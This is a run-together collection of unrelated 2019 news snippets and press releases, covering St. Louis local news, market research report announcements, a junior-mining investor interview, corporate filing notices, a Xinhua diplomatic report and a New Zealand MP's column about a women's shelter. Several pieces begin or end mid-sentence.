investigation, which looks into sexual assault, misconduct and harassment. If it does, the person accused is notified that a complaint has been filed. An investigator employed by the university interviews both parties separately and any witnesses that either party provides. There is no limit on the number of witnesses. The student who files the complaint can request another investigator from the universitys investigative team if they have any reservations about the hired investigator. The investigator writes a detailed report about the information collected, which is seen by both parties in the case. Either party may provide any additional information after reading the report. The report is delivered to a three-person panel, which typically includes a faculty member, staff person and student. The panel calls each party separately to tell their side of the story and answer questions. The panel may also call and question witnesses from the report. Most of these unfortunate details of Moores existence will likely keep him from being appointed to the Fed. Never mind that his crackpot economic ideas have been debunked over and over again. But here in the armpit of St. Louis, his buddies are trying to implement his vision, and the regions elected officials appear to be cheering it on. When you look at the Better Together proposal, for instance, its easy to see Moores influence. Heres what Moore said about democracy, recently: Capitalism is a lot more important than democracy, he told a documentary filmmaker. Im not even a big believer in democracy. I always say that democracy can be two wolves and a sheep deciding what to have for dinner. ST. CLAIR COUNTY A Metro East man who bragged on Facebook about escaping police after a high-speed chase was sentenced to almost six years in prison last Friday. Lee E. Nichols, 35, of Cahokia, entered a plea deal with the U.S. Attorney's Office in the Southern District of Illinois, and was sentenced to 71 months in federal prison for unlawfully possessing methamphetamine and a gun. A Dupo police officer attempted to stop a Corvette Nichols was driving around midnight on June 21, 2017. Nichols didn't stop and led police on a high-speed chase that ended near Jefferson Barracks Bridge when police stopped the pursuit for safety reasons, according to court documents. The officers recognized Nichols from earlier incidents and soon put out warrants for his arrest. Just two hours Nichols boasted about the chase in a comment on Facebook. He then posted a live video about his getaway on Facebook about a week later. Im passed the point of caring in life, he says in the video. He appears to be driving a van while filming and bragging about the escape, claiming he was going more than 160 mph while police chased him. Staff occasionally discovered female offenders selling the homemade tampons, but the use was not near as large as it was portrayed in the survey results, Boyles said. Weiss labeled the free pads women currently have access to as nonabsorbent, which is why half of the women indicated that on heavy flow days, they need to change the pads about every 30 minutes. Its frankly not a product that anyone I know would willingly use if they had an alternative, Coleman said. Women can currently buy tampons, pads with wings and panty liners at the prison store. A box of 18 Always maxi pads with wings ring up at $5.38, while a 20 pack of Tampax tampons costs $5.63. The top reason women said they didnt opt to purchase these alternatives was the cost. Though the price tags are similar to typical store prices, offenders without a high school diploma earn only $7.50 a month while high school graduates earn $8.50 over the same time at their prison jobs. DOC spokesperson Karen Pojmann noted that wages fluctuated quite a lot and that there were opportunities to earn up to minimum wage. Families can also add money to an offenders account. Updated at 3:30 p.m. with a response from the diocese. ST. CLAIR COUNTY A clergyman with the Roman Catholic Diocese of Belleville was charged Friday with sexually assaulting an adult woman on March 1. Deacon Robert J. Lanter, 68, of Swansea, was charged with felony criminal sexual assault, and is accused of assaulting a 29-year-old woman who was unable to give consent. Prosecutors did not specify the reason the woman was unable to give consent. Lanter was ordained in 1997 as a deacon, an member of clergy who can perform many of the same duties as a priest. Lanter resigned from all his positions with the diocese Thursday, including roles directing the Office of the Permanent Diaconate and providing ministry at St. Teresa of the Child Jesus Parish and St. Luke Parish in Belleville. Schnuck Markets Inc. released a statement Wednesday saying two women each pushed a grocery cart of items they did not pay for past a self-checkout area. When workers stopped them at the door, one of the women abandoned her cart and ran out of the store, into the parking lot and out of sight, according to the statement. The second woman was still inside the store, holding balloons that she had paid for, when she tried to grab some unpaid items from her cart. A Schnucks worker took the unpaid items from her and another worker called Ladue police, according to the statement. The woman snatched some of the items from the worker and ran out of the store. But she fell in the parking lot, dropping some of the items she was carrying, according to the statement. Another Schnucks worker, who was outside gathering carts and unaware that the woman was suspected of stealing, said he saw the woman fall and tried to help her up. But she struck him instead. The woman eventually got up, left most of the unpaid items on the ground, and ran out of the workers sight, according to the statement. Schnucks turned over video surveillance of the incident to St. Louis County police detectives, who are investigating at the request of the Ladue Police Department. Dublin, April 26, 2019 (GLOBE NEWSWIRE) -- The "Global and China Automotive Night Vision System Industry Report, 2019-2025" report has been added to ResearchAndMarkets.com's offering. For the automotive sector, the night vision system is of little value and seems like chicken ribs - tasteless when eaten but a pity to throw away. In function, the night vision system is a special solution for automobiles now that it enables a vehicle to see an object more than 300m ahead at night (compared with a mere 80m offered by headlamps) and gives driver more time to react, ensuring safer driving. ADAS and other technologies (like LiDAR and ordinary optical camera), however, play a part in night driving safety as well. And the stubbornly high price justifies the sluggish demand for night vision systems such as infrared night vision system. According to the statistics, night vision system was a standard configuration for 58 of vehicle models available on the Chinese market in March 2019, just less than in 2015, of which 18 were Savana (caravans). Audi, Mercedes-Benz and BMW are less enthusiastic about the technology, and just equip it to their luxury models each priced above RMB1 million (a combined 67% of models carrying the system). In the meantime, the insiders hold such different views on night vision system as follows: Negative It's not something that's really necessary because optical cameras actually do pretty well at night and you have a radar system as a backup that is not affected by light, said Dan Galves, a senior vice president at Intel Corporation's Mobileye. Bosch argues that technical advances bring about the decreasing demand for the night vision system. One reason is that ordinary camera alone can work outstandingly at night with the maturity of image sensing technology. Also, the progress in technologies for automotive lighting, like an LED headlamp, offers a horizon as long as 100-200m. So Bosch has shifted its attention away from night vision solution. Positive: Tim LeBeau, the vice president of Seek Thermal, thinks that the current optical radar for autonomous cars cannot detect the heat of an object to ensure whether it is a creature or not, and that the cost of thermal sensors is slashed by about 20 percent a year as they get widely used. People who detest high beam agree that headlamps delivering 200m beam will interfere with other drivers' sight, and the solution combining low beam and passive night vision (infrared thermal image) system is the best choice. Still, some vendors are sparing no efforts in making the technology more feasible for automotive application. Examples include Veoneer whose third-generation night vision system capable of detecting both pedestrians and animals is integrated with rotary LED headlamps which will automatically turn to the front object detected by the system; and Adasky's Viper system that can classify the obstacles through convolutional neural network-based unique algorithms and display them on the cockpit screen to remind the driver. Vendors will also work on laser-based night vision, low-light-level night vision, bionic night vision and head-up display (HUD) as well as headlamp fusion. In brief, as long as the price comes down to an affordable level, the chicken ribs will become a delicious homely dish. Global and China Automotive Night Vision System Industry Report, 2019-2025 highlights the following: Automotive night vision system (definition and classification, technical features, development trends, etc.); Global night vision system industry (market size and competitive pattern); China night vision system industry (market size and competitive pattern); Night vision system installation of some global and Chinese OEMs (Audi, BMW, Mercedes-Benz, Rolls-Royce, etc.); 10 global automotive night vision system suppliers (operation, turbocharger business, etc.); 11 key Chinese automotive night vision system suppliers (operation, turbocharger business, research and development, development strategy, etc.). Key Topics Covered: 1. Introduction to Automotive Night Vision System 1.1 Product Definition 1.2 Product Structure 1.3 Technical Solution and Cost 1.4 Development Trend 2 Global Automotive Night Vision System Market 2.1 Market Size 2.2 Competitive Landscape 3. China Automotive Night Vision System Market 3.1 Market Size 3.2 Product Price 3.3 Company Layout 4. Assembling Conditions of OEMs 4.1 Overall 4.2 Product Features of Major Enterprises 4.2.1 BMW 4.2.2 Mercedes-Benz 4.2.3 Audi 4.2.4 GM 4.2.5 Rolls-Royce 4.2.6 VW 4.3 Assembling Conditions in China 4.3.1 Characteristics of Brand 4.3.2 Characteristics of Price 5 Industry Chain 5.1 Downstream - ADAS 5.1.1 Definition & Classification 5.1.2 Market Size 5.1.3 In-vehicle Camera 5.1.4 Sensor 5.2 Upstream - Thermal Infrared Imager 5.2.1 Product Structure 5.2.2 Cost Structure 5.2.3 Market Size 5.2.4 Competition Pattern 6 Global Enterprises 6.1 Veoneer 6.1.1 Profile 6.1.2 Operation 6.1.3 Revenue Structure 6.1.4 Customers 6.1.5 Night Vision Systems 6.2 Aptiv 6.2.1 Profile 6.2.2 Operation 6.2.3 Revenue Structure 6.2.4 Night Vision Systems 6.3 Bosch 6.3.1 Profile 6.3.2 Operation 6.3.3 Revenue Structure 6.3.4 Night Vision Systems 6.4 Continental 6.4.1 Profile 6.4.2 Operation 6.4.3 Revenue Structure 6.4.4 Night Vision Systems 6.5 Valeo 6.5.1 Profile 6.5.2 Operation 6.5.3 Revenue Structure 6.5.4 Night Vision Systems 6.5.5 Partners 6.6 FLIR 6.6.1 Profile 6.6.2 Operation 6.6.3 Revenue Structure 6.6.4 Night Vision Systems 6.6.5 Future Strategy 6.7 AdaSky 6.7.1 Profile 6.7.2 Night Vision Systems 6.8 OmniVision 6.8.1 Profile 6.8.2 Operation 6.8.3 R&D 6.8.4 Customers 6.8.5 Night Vision Systems 6.9 Ophir 6.9.1 Profile 6.9.2 Night Vision Systems 6.10 Orlaco 6.10.1 Profile 6.10.2 Night Vision Systems 7 Chinese Enterprises 7.1 Wuhan Guide Infrared Co., Ltd 7.1.1 Profile 7.1.2 Operation 7.1.3 Revenue Structure 7.1.4 Production & Sales 7.1.5 R&D 7.1.6 Night Vision Systems 7.2 Jiangsu Kinzo Opto-electronic Instrument Co., Ltd. 7.2.1 Profile 7.2.2 Operation 7.2.3 Night Vision Systems 7.3 Jiangsu Protruly Vision Technology Group Co., Ltd. 7.3.1 Profile 7.3.2 Operation 7.3.3 Automotive Night Vision Products 7.4 Guangzhou SAT Infrared Technology Co., Ltd. 7.4.1 Profile 7.4.2 Automotive Night Vision Products 7.5 North Night-Vision Science & Technology Group Co., Ltd. 7.5.1 Profile 7.5.2 Automotive Infrared Camera Products 7.5.3 North GuangWei Technology 7.6 Hubei Jiuzhiyang Infrared System Co., Ltd 7.6.1 Profile 7.6.2 Revenue & Profit 7.6.3 Automotive Infrared Camera Products 7.7 Yuxunion 7.7.1 Profile 7.7.2 Automotive Night Vision Products 7.8 Xinxing Guangdian (XXGD) 7.8.1 Profile 7.8.2 Automotive Night Vision Products 7.9 IRay Technology 7.9.1 Profile 7.9.2 Automotive Night Vision Products 7.10 Suzhou INVO Automotive Electronics 7.10.1 Profile 7.10.2 Operation 7.10.3 Automotive Night Vision Products 7.11 Maxieye 7.11.1 Profile 7.11.2 Major Products For more information about this report visit https://www.researchandmarkets.com/r/32dbii Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. Now its clear that Gardner is in a fight with Bush, too, over her offices authority and capacity to pay for such outside legal help. On April 5, Ward 16 Alderman Tom Oldenburg wrote to Bush, asking his opinion on Gardners retention of the law firms. Five days later, Bush responded, saying that the city register had no record of the contracts. Therefore I infer that such contracts have not been executed, Bush wrote. The city cannot be obligated to pay contracts that do not exist. Gardners chief of staff, Michael Warrick, responded on April 16 with a four-page letter to Green, Reed and Krewson. In it, he insists Gardner has the authority to make contracts and didnt need Greens approval because the money had already been allocated to Gardner. The Circuit Attorney has hired third-party counsel for decades without objection to its authority to do so, Warrick wrote. Fitch, the Congressional Management Foundation head, started in the 80s as a broadcast reporter covering southern delegations, served on the Hill as an adviser and press secretary, and has spent the last two decades studying how Congress works. National media, for good or for bad, their DNA is hard-wired to cover the big national story, whereas the local reporter is simply saying, What is going on? Fitch said. If a member of Congress introduces a bill that relates to a waterway in the district, or anything that is prevalent back home, they will cover that, (and) say, Look, our member of Congress is doing something. You could argue that the lack of (regional) coverage in Washington is contributing to peoples views that Congress is not doing anything, Fitch added. Maybe Congress is not doing anything because, frankly, no one is paying attention to what they are doing when they are here in Washington, at the local level. And when they are covering something, it usually is the national media covering them when they are doing something wrong. I dont want to wake up 20 years from now and find out that this state has an epidemic of cancer because of the callous disregard in the handling of dioxin, he said. Former Gov. Jay Nixon said by email that Mr. Rothman was a very savvy leader. Got things done. Iron clad guarantee on his word. Funny. (By the way), he was a great horseman for a city guy that didnt look like it! Former St. Louis Mayor Vincent C. Schoemehl Jr. said he would often have lunch with Mr. Rothman when he was in Jefferson City. We didnt have the urban-rural divide that is so evident today. He managed to keep people focused on the policies, not the localities, Schoemehl said. He was a capable guy who really cared about the state of Missouri. Born and raised in St. Louis, Mr. Rothman earned his law degree from Washington University in St. Louis. He served in the Missouri Air National Guard from 1953 to 1962 and was called to active duty during the Berlin Crisis of 1961. Prior to his political career, he worked as a prosecutor for St. Louis County. For the past couple of weeks, Lawrence Tate and his two toddler sons have enjoyed the house he bought through Habitat for Humanity St. Louis. Just like all other Habitat homeowners, he put 350 hours of sweat equity into the four-bedroom, two-bath home. Before the Habitat home, the boys and their father lived in a leased one-bedroom apartment. Tate paid $500 a month for five years, and said one day it dawned on him how much money hed paid in rent. Thats $30,000 I paid in rent to a landlord, Tate said. I was like, you know what, man, I could be paying a mortgage and have a house. So thats what I decided to do. Tate went looking for a home, and a loan to finance it, but no bank would give him the latter. He briefly considered finding a rent-to-own property, but in the midst of exploring that, a relative suggested he contact Habitat. Along with a Habitat team, he began building his house about two years ago. Construction was stalled when Habitat moved from Forest Park Avenue to Grand Boulevard, he said, but the house is worth the wait. CNN: How are people who are on the spectrum involved in your work at the hospital? Ross: One of the things that I'm really excited about is that we're putting those with autism in leadership roles and including them in the development of our program. Jennifer O'Toole was just diagnosed in her late 30s, and she's now a best-selling author on this topic. She told me one problem she's had is the pain scale -- how it's a bunch of different faces, and the one that looks the most in pain is how you identify how much pain you're in. But for someone on the autism spectrum, who doesn't often look at faces, that's not really a good way of monitoring their pain. Once, she was unable to explain to people how much pain she was in, and therefore did not get appropriate pain management. So that's a key example. From December 19th through December 26th we will be granting free access as a gift to our readers presented by McBride Homes The mother of a 9-year-old boy said her son was leaning against a car when police in Washington, D.C. chased and handcuffed the child. That has led to an internal investigation and a review of police practices. Attorney General Karl A. Racine told news outlets Wednesday about the review into how the department deals with children. He says those practices will then be compared to other departments. The child wasn't charged with a crime and was released into his mother's custody. The boy's mother also said that the officer called her son a slur and then fled. A video from a bystander that aired on WTTG-TV on Tuesday night shows the child running anda n officer following and reaching for him. The video shows the officer grabbing the boy's jacket and then walking him to a police vehicle, holding both his hands. The boy is squirming and crying as he is moved and the officer starts to handcuff him. A relative came to the scene and called the boys mother, who drove to the location. The mother said officers could not explain to her why they detained her son. Last month, another officer detained a boy, 10, later determined to have been wrongfully accused of armed robbery. Chief Peter Newsham says that launched an internal procedure review. The board of directors of Electromagnetic Geoservices ASA (EMGS or the Company) has today approved EMGS 2018 annual financial statements and annual report. There are no material changes in the financial statements compared to the preliminary and unaudited full year results presented by the Company on 30 January 2019. EMGS annual report for 2018 is enclosed to this stock exchange notification. Contact Hege Veiseth, EMGS Chief Financial Officer, +47 992 16 743 About EMGS EMGS, the marine EM market leader, uses its proprietary electromagnetic (EM) technology to support oil and gas companies in their search for offshore hydrocarbons. EMGS supports each stage in the workflow, from survey design and data acquisition to processing and interpretation. The Company's services enable the integration of EM data with seismic and other geophysical and geological information to give exploration experts a clearer and more complete understanding of the subsurface. This improves exploration efficiency and reduces risks and the finding costs per barrel. EMGS operates on a worldwide basis with offices in Trondheim, Oslo, Houston, Mexico City, Rio de Janeiro and Kuala Lumpur. For more information, visit www.emgs.com This information is subject to the disclosure requirements pursuant to Section 5-12 the Norwegian Securities Trading Act Attachment The L&C Veterans Club will host an American Red Cross Blood Drive from 10 a.m. to 3 p.m., April 24 in The Commons. To schedule an appointment, visit redcrossblood.org and enter Sponsor Code: LewisClark1 or call 800-RED CROSS. For more information, call Terry Lane at 618-468-5500. "A Quartet of Quartets: Works of Mendelssohn, Beethoven, Foote and Noskowski" will be at 12 p.m. April 24, in the Ringhausen Music Bldg. For more information, call 618-468-4731. The LGBTQ+ Lecture Series' "Trans Community Challenges" will be at 3:30 p.m. April 25, in the Reid Cafe faculty dining room. For more information, call 618-468-4785. The L&C Student Art Exhibit will run through April 26, in the gallery of the Hatheway Cultural Center. For more information, call 618-468-4222. The Careers in Nursing info session will be at 10 a.m. April 27, at the East St. Louis Higher Education Center, 601 James R. Thompson Blvd., in East St. Louis. For more information, call 618-468-ESTL (3785). TICKERS: MRO; MLRKF Source: Maurice Jackson for Streetwise Reports (4/26/19) Gregory Beischer, president and CEO of Millrock Resources, speaks with Maurice Jackson of Proven and Probable about the strategic investment his company just received. Maurice Jackson: Joining us today is Gregory Beischer, the president, CEO, and a director of Millrock Resources Inc. (MRO:TSX.V; MLRKF:OTCQX), a premier project generator. Mr. Beischer, welcome to the show. Gregory B.: Thanks very much, Maurice. Maurice Jackson: You have some truly exciting news to provide shareholders, which coincides directly with our last interview regarding Millrock's West Pogo project located in the Goodpaster District of Alaska. Mr. Beischer, before we begin, for first time listeners, who is Millrock Resources? Gregory B.: Millrock is a project generator company. We acquire mineral rights and then we invite other companies to share the risk of the early-stage exploration. We do that from my home base here in Anchorage, Alaska, all over this great state, but also in Sonora State in Mexico and in the Southwest United States. Maurice Jackson: Let's delve into today's press release. Millrock announces strategic investment by EMX Royalty Corporation, Goodpaster District, Alaska. Mr. Beischer, allow me to be the first to say congratulations, sir. Tell us about this strategic investment. Gregory B.: Thanks, Maurice. You and I have talked about this quite a bit over the years. I know that you are personally a shareholder of EMX as am I, and you know that it is a generative exploration company, in whose footsteps Millrock would like to follow. We'd like to have the same success EMX has had. EMX, of course, has made a big discovery, which it capitalized having received fairly recently. I believe it's US$67 million as payment for the project, so a great win for that company. And I know that it is looking for ways to deploy that capital to make even more money, particularly to create royalties, which I believe is a very smart business model, and I think you'll agree with me there. EMX Royalty has been inundated with proposals to help it spend its money. Millrock has been good friends with the EMX folks for quite a while. I know I certainly admire its technical team and abilities. And I hope that that's mutual. We showed EMX the Goodpaster project last December I think it was, and so it takes a while to work through these things, but now we've been able to announce that EMX has invested in Millrock at quite a significant premium to our share price. It paid CA$0.14 for the shares, but in return for that premium, we granted royalties on claims that we have recently staked in the Goodpaster District and upon some claims that we already owned in that emerging gold district in Alaska. This is a win-win for everybody here. I think EMX got what it wanted, which was a new royalty portfolio, and it owns Millrock shares that I think it believes will be worth more one day. So EMX came out of it good, but it also gave Millrock the capital to act on something we've wanted to do for a long time, which was capture a huge land position in the Goodpaster District and to move exploration down the road a little ways. I think both companies come out very well, and I think as shareholders, we're doing well too. Maurice Jackson: Millrock had a number of companies that shared their interest in partnering with you on the West Pogo. Why did Millrock select EMX Royalty as its partner? Gregory B.: Our partnership with EMX has allowed us to acquire a great land position, but we'll still need yet another partner to fund aggressively exploration in this district. So, EMX was the toehold that allowed us to get started, but really, we'll have to find another partner, and, thankfully, we're well underway on that. Maurice Jackson: Now what will be done with the proceeds you currently have from the investment? Gregory B.: Millrock has used a substantial amount already to stake claims. We've amassed in excess of 500 square kilometers of mineral rights, and yeah, it's a big land position, but it's also a very good one. Maurice, you know that four or five years ago, we purchased some remnant claim blocks in the district, but both acquisitions came with fantastic geologic databases of information that probably cost $15 million to create back in the 1990s and early 2000s after the first big surge of exploration after the discovery of the Pogo mine, a great gold mine in the Goodpaster District. So we knew where we wanted to stake, and we've known this for a long time. It was just a matter of having the capital to do so. And our agreement with EMX allowed that to happen. So we've used some of the proceeds to stake the claims. We'll use some of the money also to do some early-stage exploration and attract partners to fund what it really needs, which I really want to do, which is systematic exploration over a series of years on a district scale. We've got a major part of the district staked now. We also have an excellent project, West Pogo, that's just about ready to drill, but my preferred course of action would be to find a partner that will underwrite the work, the systematic, long-term work needed to move the prospect forward to drill readiness and test each and every prospect that we can develop in this huge area. Maurice Jackson: Gregory, for that prospective partner and new shareholder, it may be good for us to share the value proposition we have before us regarding the Goodpaster District, and specifically, Millrock's West Pogo project. Gregory B.: The Goodpaster District has produced gold from placer mines over the years, but it was in 1994 that the Pogo gold mine was first discovered. There was a big surge of exploration activity, and it was really the first time substantial modern exploration occurred in this district. I have the feeling that Goodpaster will become a gold camp of significant proportion one day, maybe even like the Val-d'Or camp of northern Quebec, where I've spent some time. There have been dozens of mines in that camp over a century of operations. I think the Goodpaster will be the same. Pogo's a great mine. The new owner, Northern Star Resources, is doing a great job. It has only owned the mine for about six months, but it seems to be doing an excellent job of tuning up the operation. I think it is going to make a lot of money from it. It's a high-grade mine that produces about 300,000 ounces of gold a year. Millrock would love to discover a deposit like that being mined. And so we view this as we're walking into a gold camp. We've had lots of space to choose our ground, and we've done that, and amassed a major land position with high priority targets on it using our database. The value proposition before us is through exploration and discovery of one or more deposits like the one being mined at the Pogo gold mine. And, in fact, the last time we spoke, we talked about our West Pogo project, aptly named because it's immediately to the west of the Pogo Mine. In fact, it's within sight of the mine itself. And we know that there's been some recent discoveries by the mine operators to the west of the mine, in fact, close to our mutual claim boundary. It's possible that the new discovery it has made comes right onto our claims. So we'd like to do the geophysical surveys needed to image below the surface of the earth, pick drill targets, and then test to see if we've got a gold deposit on our side of the claim boundary. Maurice Jackson: Before we leave, Mr. Beischer, what is the next unanswered question for Millrock Resources, when can we expect an answer and what determines success? Gregory B.: The next question for Millrock is getting a partner on this particular project. We've made a big gamble here, and now we need to capitalize by landing a partner that is willing to fund the kind of exploration we want to do, district-scale exploration to systematically, continuously evaluate the targets, select the very best ones, and to drill them from a position of strong knowledge. And so that's the next question Millrock has to answer, who's the partner and when will you get it? And we're working hard on it. Maurice Jackson: Mr. Beischer. Let me ask you my favorite question, and that is what did I forget to ask? Gregory B.: Well, often when you've chatted with me, Maurice, we talk about the price of gold and how much of a driver it is for the availability of capital for explorers, and gold's been up looking good, now it's down again. I think you probably read a lot of the same things I do, and I think the consensus is gold's going to move substantially higher in the near term. And that certainly helps junior mining companies and the flow of capital into early stage exploration projects. So, I'm hopeful that the price moves up soon. Maurice Jackson: Gregory, for someone listening today who wants to get more information regarding Millrock Resources, please share the contact details. Gregory B.: Sure, you can reach www.millrockresources.com. Melanee Henderson, head of investor relations, may be contacted at [email protected] or call 604-638-3164 or 877-217-8978. Maurice Jackson: And as a reminder, Millrock Resources trades on the TSX.V symbol MRO and on the OTCQX symbol MLRKF. Millrock Resources is a sponsor of Proven and Probable, and we are proud shareholders of Millrock Resources for the virtues conveyed in today's message. And last but not least, please visit our website, provenandprobable.com, where we deliver mining insights and bullion sales. You may reach us at [email protected]. Gregory Beischer of Millrock Resources, thank you for joining us today on Proven and Probable. Maurice Jackson is the founder of Proven and Probable, a site that aims to enrich its subscribers through education in precious metals and junior mining companies that will enrich the world. [NLINSERT] Disclosure: 1) Gregory Beischer: I, or members of my immediate household or family, own shares of the following companies mentioned in this article: Millrock Resources. I personally am, or members of my immediate household or family are, paid by the following companies mentioned in this article: Millrock Resources. 2) Maurice Jackson: I, or members of my immediate household or family, own shares of the following companies mentioned in this article: Millrock Resources. I personally am, or members of my immediate household or family are, paid by the following companies mentioned in this article: None. My company has a financial relationship with the following companies mentioned in this article: Millrock Resources is a sponsor of Proven and Probable. Proven and Probable disclosures are listed below. 3) The following companies mentioned in this article are billboard sponsors of Streetwise Reports: None. Click here for important disclosures about sponsor fees. 4) Statements and opinions expressed are the opinions of the author and not of Streetwise Reports or its officers. The author is wholly responsible for the validity of the statements. The author was not paid by Streetwise Reports for this article. Streetwise Reports was not paid by the author to publish or syndicate this article. The information provided above is for informational purposes only and is not a recommendation to buy or sell any security. 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You understand that you are using any and all Information available on or through this forum at your own risk. Images provided by the author. English French Publication of the 2018 Registration Document Paris, 26 April 2019: MRM (Euronext code ISIN FR0000060196) announces that its 2018 Registration Document was filed with the French financial market authority, the Autorite des marches financiers (AMF), on 26 April 2019. This document is available on MRM's website (www.mrminvest.com) and on AMF's website. Hard copies of the Registration Document are also available at the Company's headquarters, located at the following address: MRM 5 avenue Kleber 75795 Paris Cedex 16 France The Registration Document includes the 2018 annual financial report, the corporate governance report, and the description of the share buyback program. About MRM MRM is a listed real estate investment company that owns and manages a portfolio of retail properties across several regions of France. Its majority shareholder is SCOR SE, which owns 59.9% of share capital. MRM is listed in Compartment C of Euronext Paris (ISIN: FR0000060196 - Bloomberg code: MRM:FP - Reuters code: MRM.PA). MRM opted for SIIC status on 1 January 2008. For more information: MRM 5, avenue Kleber 75795 Paris Cedex 16 France T +33 (0)1 58 44 70 00 relation_finances@mrminvest.com Isabelle Laurent, OPRG Financial T +33 (0)1 53 32 61 51 M +33 (0)6 42 37 54 17 isabelle.laurent@ddbfinancial.fr Website: www.mrminvest.com Chinese President Xi Jinping (R) holds talks with his Mongolian counterpart Khaltmaa Battulga, who is here on a state visit to China and to attend the Second Belt and Road Forum for International Cooperation, in Beijing, capital of China, April 25, 2019. (Xinhua/Ju Peng) BEIJING, April 25 (Xinhua) -- Chinese President Xi Jinping on Thursday held talks with his Mongolian counterpart Khaltmaa Battulga, who is here on a state visit to China and to attend the Second Belt and Road Forum for International Cooperation. China will uphold the principle of amity, sincerity, mutual benefit and inclusiveness and continue to actively support Mongolia's economic development and improvement of people's livelihood, Xi said. China and Mongolia should head towards the correct political direction, and make comprehensive plans to promote all-round cooperation as strategic partners of mutual respect and trust, cooperative partners of mutual benefit and reciprocity, friendly partners with frequent exchanges, and partners of mutual assistance at the multilateral level, he said. The two sides should strengthen political guidance and strategic communication, maintain exchanges at the high level and in all fields, and respect each other's core interests and major concerns, Xi said. The two sides should actively promote the alignment of the Belt and Road Initiative (BRI) and Mongolia's Development Road program, achieve more tangible progress in building the China-Mongolia-Russia economic corridor, strengthen exchanges in border areas and ports, and provide more convenience for trade and people-to-people exchanges, he said. Xi also proposed to organize people-to-people and cultural events to mark the 70th anniversary of the establishment of diplomatic relations between China and Mongolia this year. It is Mongolia's firm and prior diplomatic policy to develop the long-term, good-neighborly, friendly, mutually-beneficial and cooperative partnership with China, Battulga said. Mongolia firmly adheres to the one-China policy, Battulga said, adding that both Taiwan and Tibet are part of China, and the matters involving Taiwan and Tibet are China's internal affairs. On the occasion of the 70th anniversary of diplomatic relations, Mongolia is willing to work with China to map out the future direction and objectives of bilateral ties, he said. Mongolia will promote the alignment of its Development Road program and the BRI and jointly advance the development of the Mongolia-China-Russia economic corridor with China, he said. Battulga also noted that Mongolia appreciates China's important role in maintaining peace and stability on the Korean Peninsula and is willing to strengthen coordination with China in regional affairs. After the talks, the two leaders witnessed the signing of bilateral cooperation documents including a plan to align the BRI with the Development Road program. Before the talks, Xi held a welcoming ceremony for Battulga. 5 1 [ Editor: Zhang Zhou ] Dublin, April 26, 2019 (GLOBE NEWSWIRE) -- The "Eastern Europe Pay TV Forecasts" report has been added to ResearchAndMarkets.com's offering. Pay TV revenues in Eastern Europe will peak at $6.95 billion in 2019 - before slowly falling to $6.59 billion by 2024. Analog cable revenues will drop by $844 million over this period, so digital pay TV revenues will increase by $502 million to $6.56 billion. Simon Murray, a Principal Analyst, said: Tough times continue in Eastern Europe, with poor job prospects forcing many to seek work abroad. This migration married with low birth rates mean that the number of TV households will fall in 18 countries between 2018 and 2024 - with the region's TV households dropping by 2.5 million. Murray continued: The number of pay TV subscribers in Eastern Europe will decline from 82.33 million at end-2018 to 78.64 million in 2024. Not great news but better than the US situation. Eastern Europe is slowly ridding itself of the legacy of analog cable TV. There were still 17.67 million analog cable subscribers by end-2018. This total will fall to 568,000 by 2024. The number of digital pay TV subscribers will increase by 13 million between 2018 and 2024 to 78 million - or up by 21%. Key Topics Covered: Outlook: Forecasts for 22 countries in a 57-page PowerPoint document full of charts, graphs and bullet points; Excel workbook covering each year from 2010 to 2024 for 22 countries by household penetration, by pay TV subscribers, by pay TV revenues and by major operator. As well as summary tables by country and by platform; Insight: Detailed country-by-country analysis in an 87-page PDF document. Companies Mentioned A1 Akado Albtelecom Baltcom Beeline/Veon Bulsatcom Cablenet Cgates Cosmote CT Cyfra Cytavision Digi TV Digitalb Elisa ER Telecom Inea Invitel M:Tel Max TV MinDig Moldtelecom MTIS MTS Multimedia Polska NC+ Neo TV Netia Nova Digi/Slovak Telekom NTV Plus O2 Orange TV Orion Polsat Primetel RCS-RDS Rostelecom SBB Skylink Sun T-2 T-Home T-Mobile Telekom Romania Telekom Srbija Telemach Telia TEO Tet Total TV Toya TP/Orange Tricolor Tring Triolan TV Play Ukrtelecom UPC Vectra Viasat Vip/Boom Vivacom Volia Zala For more information about this report visit https://www.researchandmarkets.com/r/a8guwa Research and Markets also offers Custom Research services providing focused, comprehensive and tailored research. DALLAS, April 26, 2019 (GLOBE NEWSWIRE) -- Lincoln Property Company has been named the second largest multifamily manager for the fifth consecutive year according to the National Multifamily Housing Councils 30th annual NMHC 50 . In 2019, Lincoln increased units under management to 191,669. Lincoln Property Company was additionally named the fifth largest multifamily developer with 4,626 units started in 2018 and the twelfth largest owner, with 58,375 units owned in 2019. Scott Wilder, Lincoln Property Companys EVP of Residential Management, stated, Lincolns continued success is a combination of hard work from every level within the organization. With over 54 years of experience, weve developed a unique combination of knowledge, leadership, talent, and resources. Were honored for the continued recognition and looking forward to another great year. Lincoln Property Company has also been recognized as a NMHC Mainstay, ranking on the NMHC 50 list for all 30 years since its debut in 1989. Lincoln is one of four companies to have earned this achievement. About Lincoln Property Company Lincoln Property Company was founded in 1965 as a builder and operator of high-quality residential communities. In the early 1970's, Lincoln expanded its product mix to include commercial, build-to-suit, office, hotel, industrial, and other mixed-use assets. In 1972, Lincoln took this expertise within the United States to Western Europe and the Middle East. In 2001, Lincoln joined forces with the U.S. Department of Defense to renovate and redevelop family housing at selected bases for the Navy, the Marine Corps, and the Army. Through innovative management, property rehabilitation and award-winning new construction designs, Lincoln is now one of the largest operators of military housing in the country. Headquartered in Dallas, TX, Lincoln focuses on real estate investment, construction and development, in addition to property management. Their national reputation has enabled Lincoln to attract a large client base of owners and investors who count on their ability to deliver quality results and continually serve as a market leader. For more information about Lincoln Property Company, please visit www.lincolnapts.com/about/client-services . Media Contact: Sheri Sandefur Killingsworth, Vice President - Marketing & Communications 214-740-3300 | corporate@lpsi.com SOURCE Lincoln Property Company Jan Tinetti Labour MP I recently cut the ribbon at the opening of Awhina House, Taurangas new womens shelter. It was quite surreal to be standing there in the lovely courtyard celebrating this wonderful day as it was only seven months earlier that we had met with Angela, Tania and Colleen from Community Angels to discuss the possibility of the shelter and to ask us, as local MPs, for our support. Here we are, less than a year later, opening the shelter. Such an amazing effort by these women and the community as a whole, from the funders to the local businesses who all helped to make this a reality. We had the opportunity to walk through the house, what a beautiful space. As I looked into the bedrooms, each with a new single bed and a small care pack of toiletries sitting on a folded white towel I tried to imagine what it would be like for a woman who had been homeless for days, months or maybe even years to finally be able to close the door to her bedroom, to hop into a bed with clean sheets and a warm blanket and to be able to finally rest and have a good nights sleep knowing she is safe. As a city there is no doubt we have become more aware and have a greater understanding of homelessness and its complex causes 